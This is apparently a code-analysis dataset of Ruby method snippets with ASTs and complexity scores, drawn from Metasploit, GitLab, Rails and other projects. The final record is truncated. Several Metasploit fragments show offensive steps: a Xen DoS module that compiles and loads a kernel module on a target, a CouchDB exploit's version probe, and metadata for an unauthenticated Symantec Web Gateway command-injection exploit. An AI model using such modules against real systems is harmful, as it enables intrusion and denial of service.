{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/modules/loader/directory.rb","start_line":67,"raw_source":"def module_path(parent_path, type, module_reference_name)\n    typed_path = self.typed_path(type, module_reference_name)\n    full_path = File.join(parent_path, typed_path)\n\n    full_path\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"module_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_path\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"module_reference_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"typed_path\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"typed_path\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"module_reference_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"parent_path\"]},{\"type\":\"lvar\",\"children\":[\"typed_path\"]}]}]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}","id":"c5d9903c-cc97-46f8-a0ea-c2e97968c76b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/directadmin.rb","start_line":16,"raw_source":"def check_setup\n          login_uri = normalize_uri(\"#{uri}/CMD_LOGIN\")\n          res = send_request({'uri'=> login_uri})\n\n          if res && res.body.include?('DirectAdmin Login')\n            return true\n          end\n\n          false\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"login_uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]}]},{\"type\":\"str\",\"children\":[\"/CMD_LOGIN\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"login_uri\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"DirectAdmin Login\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"308c78f0-6e2f-4c9e-b730-ee51fa0de91d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/impersonation.rb","start_line":31,"raw_source":"def stop_impersonation\n    log_impersonation_event\n\n    warden.set_user(impersonator, scope: :user)\n    session[:impersonator_id] = nil\n    clear_access_token_session_keys!\n\n    current_user\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_impersonation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_impersonation_event\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warden\"]},\"set_user\",{\"type\":\"send\",\"children\":[null,\"impersonator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"impersonator_id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"clear_access_token_session_keys!\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]}","id":"cb692a6c-b07c-4706-9e20-8316b57c5eb5"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/mailboxes/reply_mailbox.rb","start_line":77,"raw_source":"def find_by_in_reply_to_addresses(match_result, in_reply_to_addresses)\n    find_conversation_by_uuid(match_result) if match_result\n    find_conversation_by_message_id(in_reply_to_addresses) if @conversation.blank?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_in_reply_to_addresses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match_result\"]},{\"type\":\"arg\",\"children\":[\"in_reply_to_addresses\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_result\"]},{\"type\":\"send\",\"children\":[null,\"find_conversation_by_uuid\",{\"type\":\"lvar\",\"children\":[\"match_result\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"find_conversation_by_message_id\",{\"type\":\"lvar\",\"children\":[\"in_reply_to_addresses\"]}]},null]}]}]}","id":"ed0ec4fc-109e-4523-a269-6eedc2655667"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/users.rb","start_line":1031,"raw_source":"def finder(options = {})\n              user = find_user_by_id(params)\n              PersonalAccessTokensFinder.new({ user: user, impersonation: true }.merge(options))\n            end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"finder\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"find_user_by_id\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PersonalAccessTokensFinder\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"impersonation\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"4f31ade9-430e-4ad4-8b17-b490a0de067d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/services/captain/llm/pdf_processing_service.rb","start_line":20,"raw_source":"def upload_pdf_to_openai\n    with_tempfile do |temp_file|\n      response = @client.files.upload(\n        parameters: {\n          file: temp_file,\n          purpose: 'assistants'\n        }\n      )\n      response['id']\n    end\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_pdf_to_openai\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tempfile\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"temp_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"files\"]},\"upload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"temp_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"str\",\"children\":[\"assistants\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}","id":"156775fe-d4b1-44db-ad28-12f9fa21ece2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1205,"raw_source":"def add_foreign_key(from_table, to_table, **options)\n        return unless use_foreign_keys?\n\n        options = foreign_key_options(from_table, to_table, options)\n        return if options[:if_not_exists] == true && foreign_key_exists?(from_table, to_table, **options.slice(:column, :primary_key))\n\n        at = create_alter_table from_table\n        at.add_foreign_key to_table, options\n\n        execute schema_creation.accept(at)\n      end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"add_foreign_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_table\"]},{\"type\":\"arg\",\"children\":[\"to_table\"]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_foreign_keys?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"foreign_key_options\",{\"type\":\"lvar\",\"children\":[\"from_table\"]},{\"type\":\"lvar\",\"children\":[\"to_table\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"if_not_exists\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"foreign_key_exists?\",{\"type\":\"lvar\",\"children\":[\"from_table\"]},{\"type\":\"lvar\",\"children\":[\"to_table\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"primary_key\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"at\",{\"type\":\"send\",\"children\":[null,\"create_alter_table\",{\"type\":\"lvar\",\"children\":[\"from_table\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"at\"]},\"add_foreign_key\",{\"type\":\"lvar\",\"children\":[\"to_table\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schema_creation\"]},\"accept\",{\"type\":\"lvar\",\"children\":[\"at\"]}]}]}]}]}","id":"a83cd395-62d3-4129-bbcb-cb134369780a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/refresh_service.rb","start_line":187,"raw_source":"def push_commit_ids\n      @push_commit_ids ||= @commits.map(&:id)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"push_commit_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@push_commit_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commits\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"380dd5ce-459a-4dcb-9900-1db4a8390ea7"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/plugins/verification/lib/action_controller/verification.rb","start_line":102,"raw_source":"def prereqs_invalid?(options) # :nodoc:\n      verify_presence_of_keys_in_hash_flash_or_params(options) ||\n        verify_method(options) ||\n        verify_request_xhr_status(options)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prereqs_invalid?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"verify_presence_of_keys_in_hash_flash_or_params\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"verify_method\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"verify_request_xhr_status\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"93ed4bdf-8e64-406f-a339-aff06aa7813b"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/fetch_env_var.rb","start_line":136,"raw_source":"def assigned?(node)\n          return false unless (parent = node.parent)&.assignment?\n\n          lhs, _method, _rhs = *parent\n          node == lhs\n        end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"assigned?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]},\"assignment?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lhs\"]},{\"type\":\"lvasgn\",\"children\":[\"_method\"]},{\"type\":\"lvasgn\",\"children\":[\"_rhs\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"lhs\"]}]}]}]}","id":"599c085b-7cfc-4aab-a930-81f7603cc02c"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_digest_dos.rb","start_line":36,"raw_source":"def with_http_digest?\n    not tracker.find_call(:target => false, :method => [:authenticate_or_request_with_http_digest, :authenticate_with_http_digest]).empty?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_http_digest?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tracker\"]},\"find_call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"authenticate_or_request_with_http_digest\"]},{\"type\":\"sym\",\"children\":[\"authenticate_with_http_digest\"]}]}]}]}]},\"empty?\"]},\"!\"]}]}","id":"fc0e4f03-ed87-448c-9b56-abcb0ed20343"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/dos/xen_420_dos.rb","start_line":198,"raw_source":"def do_insmod\n    cmd_exec(\"cd #{@writeable_folder}\")\n    vprint_status('Making module...')\n    cmd_exec('make')\n    vprint_status(\"Insmod '#{@writeable_folder}/#{@c_name}.ko'\")\n    cmd_exec(\"insmod #{@writeable_folder}/#{@c_name}.ko\")\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"do_insmod\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"cd \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writeable_folder\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Making module...\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"make\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Insmod '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writeable_folder\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@c_name\"]}]},{\"type\":\"str\",\"children\":[\".ko'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"insmod \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@writeable_folder\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@c_name\"]}]},{\"type\":\"str\",\"children\":[\".ko\"]}]}]}]}]}","id":"95976e00-a506-4056-8173-f07aa769caaa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb","start_line":144,"raw_source":"def get_version\n    @version = nil\n\n    begin\n      res = send_request_cgi(\n        'uri' => normalize_uri(target_uri.path),\n        'method' => 'GET',\n        'authorization' => @auth\n      )\n    rescue Rex::ConnectionError\n      vprint_bad(\"#{peer} - Connection failed\")\n      return false\n    end\n\n    unless res\n      vprint_bad(\"#{peer} - No response, check if it is CouchDB. \")\n      return false\n    end\n\n    if res && res.code == 401\n      print_bad(\"#{peer} - Authentication required.\")\n      return false\n    end\n\n    if res && res.code == 200\n      res_json = res.get_json_document\n\n      if res_json.empty?\n        vprint_bad(\"#{peer} - Cannot parse the response, seems like it's not CouchDB.\")\n        return false\n      end\n\n      @version = res_json['version'] if res_json['version']\n      return true\n    end\n\n    vprint_warning(\"#{peer} - Version not found\")\n    return true\n  end","complexity_score":41.75,"ast_json":"{\"type\":\"def\",\"children\":[\"get_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"authorization\"]},{\"type\":\"ivar\",\"children\":[\"@auth\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Connection failed\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - No response, check if it is CouchDB. \"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authentication required.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res_json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Cannot parse the response, seems like it's not CouchDB.\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Version not found\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"80ecb4be-cbca-4017-9e0b-ecf88f983e9c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/deprecation_test.rb","start_line":195,"raw_source":"def initialize(label, lineno)\n      @path = __FILE__\n      @lineno = lineno\n      @label = label\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"arg\",\"children\":[\"lineno\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@lineno\",{\"type\":\"lvar\",\"children\":[\"lineno\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label\",{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]}","id":"2da2dbcc-ce53-40cc-bdf7-b245980273d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups/accepting_project_shares_finder.rb","start_line":65,"raw_source":"def by_hierarchy(groups)\n      return groups if project_to_be_shared.personal? || sharing_outside_hierarchy_allowed?\n\n      groups.id_in(root_ancestor.self_and_descendants_ids)\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"by_hierarchy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"groups\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_to_be_shared\"]},\"personal?\"]},{\"type\":\"send\",\"children\":[null,\"sharing_outside_hierarchy_allowed?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"groups\"]},\"id_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_ancestor\"]},\"self_and_descendants_ids\"]}]}]}]}","id":"8ff314a5-6f8a-4101-9e18-633f4ca294b7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/symantec_web_gateway_pbcontrol.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection\",\n        'Description' => %q{\n          This module exploits a command injection vulnerability found in Symantec Web\n          Gateway's HTTP service.  While handling the filename parameter, the Spywall API\n          does not do any filtering before passing it to an exec() call in proxy_file(),\n          thus results in remote code execution under the context of the web server. Please\n          note authentication is NOT needed to gain access.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'muts', # Original discovery\n          'sinn3r' # Metasploit\n        ],\n        'References' => [\n          [ 'CVE', '2012-2953' ],\n          [ 'OSVDB', '84120' ],\n          [ 'BID', '54426' ],\n          [ 'EDB', '20088' ],\n          [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']\n        ],\n        'Payload' => {\n          # 'BadChars' => \"\\x00\\x0d\\x0a\",\n          'Compat' =>\n                  {\n                    'PayloadType' => 'cmd',\n                    'RequiredCmd' => 'generic perl telnet'\n                  }\n        },\n        'Platform' => ['unix'],\n        'Arch' => ARCH_CMD,\n        'Targets' => [\n          ['Symantec Web Gateway 5.0.2.18', {}]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2012-07-23',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])\n      ]\n    )\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a command injection vulnerability found in Symantec Web\\n\"]},{\"type\":\"str\",\"children\":[\"          Gateway's HTTP service.  While handling the filename parameter, the Spywall API\\n\"]},{\"type\":\"str\",\"children\":[\"          does not do any filtering before passing it to an exec() call in proxy_file(),\\n\"]},{\"type\":\"str\",\"children\":[\"          thus results in remote code execution under the context of the web server. Please\\n\"]},{\"type\":\"str\",\"children\":[\"          note authentication is NOT needed to gain access.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"muts\"]},{\"type\":\"str\",\"children\":[\"sinn3r\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2012-2953\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"84120\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"54426\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"20088\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\